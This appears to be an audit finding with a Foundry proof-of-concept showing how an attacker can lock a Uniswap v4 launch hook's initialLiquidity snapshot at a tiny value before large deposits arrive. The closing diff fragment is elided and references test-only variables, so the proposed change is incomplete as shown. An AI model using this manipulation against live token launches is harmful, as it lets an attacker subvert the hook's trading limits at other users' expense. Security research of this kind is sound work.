function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
@> if (initialLiquidity == 0) {
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
}
.
.
.
}
This code shows that successful provision of early liquidity locks it, and further addition does not have any effect on logic.
function test_POC_InitialLiquidity_SnapshotManipulation() public {
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
TokenLaunchHook newHook = new TokenLaunchHook{salt: salt}(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(newHook) == hookAddress, "Hook address mismatch");
(PoolKey memory newKey,) =
initPool(ethCurrency, tokenCurrency, newHook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1_s);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
address attacker = makeAddr("attacker");
uint256 smallEthToAdd = 1_000_000;
uint128 smallLiquidityDelta =
LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, smallEthToAdd);
vm.deal(address(this), smallEthToAdd);
vm.deal(attacker, smallEthToAdd);
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: smallEthToAdd}(
newKey,
ModifyLiquidityParams({
tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256(smallLiquidityDelta)), salt: bytes32(0)
}),
ZERO_BYTES
);
vm.stopPrank();
vm.deal(user1, 1 ether);
vm.startPrank(user1);
SwapParams memory params = SwapParams({
zeroForOne: true, amountSpecified: -int256(1_000), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory testSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 1_000}(newKey, params, testSettings, ZERO_BYTES);
vm.stopPrank();
uint256 lockedInitialLiquidity = newHook.initialLiquidity();
uint256 largeEthToAdd = 10 ether;
uint256 largeEthValue = 11 ether;
vm.deal(address(this), 30 ether);
uint128 largeLiquidityDelta =
LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1, sqrtPriceAtTickUpper, largeEthToAdd);
modifyLiquidityRouter.modifyLiquidity{value: largeEthValue}(
newKey,
ModifyLiquidityParams({
tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256(largeLiquidityDelta)), salt: bytes32(0)
}),
ZERO_BYTES
);
uint256 actualLiquidity = uint256(StateLibrary.getLiquidity(manager, newKey.toId()));
assertEq(newHook.initialLiquidity(), lockedInitialLiquidity, "initialLiquidity remains small");
assertGt(actualLiquidity, lockedInitialLiquidity, "Pool liquidity increased after snapshot");
}
function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
.
.
.
+ modifyLiquidityRouter.modifyLiquidity{value: smallEthToAdd}(
+ newKey,
+ ModifyLiquidityParams({
+ tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256 (smallLiquidityDelta)), salt: bytes32(0)
+ }),
+ ZERO_BYTES
+ );
.
.
.
}